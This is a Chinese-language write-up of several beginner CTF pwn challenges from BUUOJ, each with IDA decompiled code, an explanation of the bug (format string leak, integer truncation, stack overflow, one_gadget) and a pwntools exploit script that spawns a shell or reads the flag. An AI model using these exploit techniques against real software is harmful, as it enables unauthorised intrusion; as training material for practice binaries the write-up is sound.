这里基本都是栈溢出题,没什么技术含量,只作为记录
[第五空间2019 决赛]PWN5
查看保护
开启了canary和栈不可执行保护
IDA反编译得到main函数
int __cdecl main(int a1)
{
unsigned int v1; // eax
int fd; // ST14_4
int result; // eax
char nptr; // [esp+4h] [ebp-80h]
char buf; // [esp+14h] [ebp-70h]
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &random_num, 4u);
printf("your name:");
read(0, &buf, 0x63u);
printf("Hello,");
printf(&buf);
printf("your passwd:");
read(0, &nptr, 0xFu);
if ( atoi(&nptr) == random_num )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
读入的随机数random_num存在bss段
明显的格式化字符串漏洞,泄露random值,然后输入即可获得flag
from pwn import *
#sh=process("./pwn")
context.log_level="debug"
sh=remote("node3.buuoj.cn",26345)
random_addr=0x0804C044
#gdb.attach(sh,"b *0x080492FA ")
sh.recvuntil("your name:")
payload=p32(random_addr)+"%10$s"
sh.sendline(payload)
sh.recvuntil("Hello,")
randnum=u32(sh.recv(8)[4:])
log.success(randnum)
sh.recvuntil("your passwd:")
sh.send(str(randnum))
sh.interactive()
[BJDCTF 2nd]r2t3
安全保护
IDA反编译
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-408h]
my_init();
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("[+]Ret2text3.0?");
puts("[+]Please input your name:");
read(0, &buf, 0x400u);
name_check(&buf);
puts("Welcome ,u win!");
return 0;
}
但是buf空间足够大,这里没有溢出
char *__cdecl name_check(char *s)
{
char dest; // [esp+7h] [ebp-11h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Oops,u name is too long!");
exit(-1);
}
printf("Hello,My dear %s", s);
return strcpy(&dest, s);
}
name_check函数存在整形溢出,unsigned __int8 v3仅有1个字节,超过1个字节将被截断,也就是最大数值为0xff ,也就是如果stren(str)=0x100,v3=0x100=0
计算偏移,偏移为21
题目有后门函数
from pwn import*
p = process('./r2t3')
p.recvuntil(' name:\n')
payload = 'a'*0x21 + p32(0x0804858B) + 'a'*(0x104 - 0x15 -0x4)
p.sendline(payload)
ciscn_2019_n_8
安全保护
直接使var[13]=17就行了
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf((int)"%s", (int)var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
exp
from pwn import *
#sh=process("./ciscn_2019_n_8")
sh=remote("node3.buuoj.cn",28764)
#gdb.attach(sh,"b printf")
sh.recvuntil("What's your name?")
payload=p32(0)*13+p32(17)
sh.sendline(payload)
sh.interactive()
not_the_same_3dsctf_2016
保护
.
IDA查看
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+Fh] [ebp-2Dh]
printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(&v4);
return 0;
}
有获取flag的函数
int get_secret()
{
int v0; // esi
v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}
标准栈溢出,计算偏移
flag存储在bss段,所以先栈溢出,返回get_secret函数读取flag到 bss段,然后再调用write函数写到标准输出
exp
from pwn import *
#sh=process("./not_the_same_3dsctf_2016")
context.log_level='debug'
sh=remote("node3.buuoj.cn",27356)
#gdb.attach(sh,"b *0x080489A0")
get_flag=0x080489A0
#sh.recvuntil("m3m0... ")
write=0x0806E270
flag=0x080ECA2D
payload=flat(['a'*45,get_flag,write,0xdeadbeef,1,flag,45])
sh.sendline(payload)
sh.interactive()
jarvisoj_level0
保护
IDA查看
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function(1LL, "Hello, World\n");
}
vulnerable_function
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
计算偏移
exp
from pwn import *
sh=process("./level0")
context.log_level='debug'
#sh=remote("node3.buuoj.cn",27356)
#gdb.attach(sh,"b *0x040059")
system=0x00400596
sh.recvuntil("Hello, World\n")
payload='a'*136+p64(system)
sh.sendline(payload)
sh.interactive()
one_gadget
保护
IDA查看
main
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (*v4)(void); // [rsp+8h] [rbp-18h]
void (*v5)(void); // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(*(_QWORD *)&argc, argv, envp);
printf("Give me your one gadget:");
__isoc99_scanf("%ld", &v4);
v5 = v4;
v4();
return 0;
}
init函数输出了printf的绝对地址
int init()
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
return printf("here is the gift for u:%p\n", &printf);
}
按题目要求,根据提供的libc,搜索one gadget
这里需要注意的是传payload的时候不要用p64打包,one_daget选最后一一个成功
exp
from pwn import *
#sh=process("./one_gadget")
context.log_level='debug'
libc=ELF("./libc-2.29.so")
sh=remote("node3.buuoj.cn",27200)
#gdb.attach(sh,"b scanf")
one_daget_offset=0x106ef8
sh.recvuntil("here is the gift for u:")
sh.recvuntil("0x")
print_addr=int(sh.recvn(12),16)
log.success("print_addr:"+hex(print_addr))
libc_base=print_addr-libc.symbols['printf']
one_daget=libc_base+one_daget_offset
log.success("one_daget:"+hex(one_daget))
payload=str(one_daget)
sh.recvuntil("one gadget:")
sh.send(payload)
sh.interactive()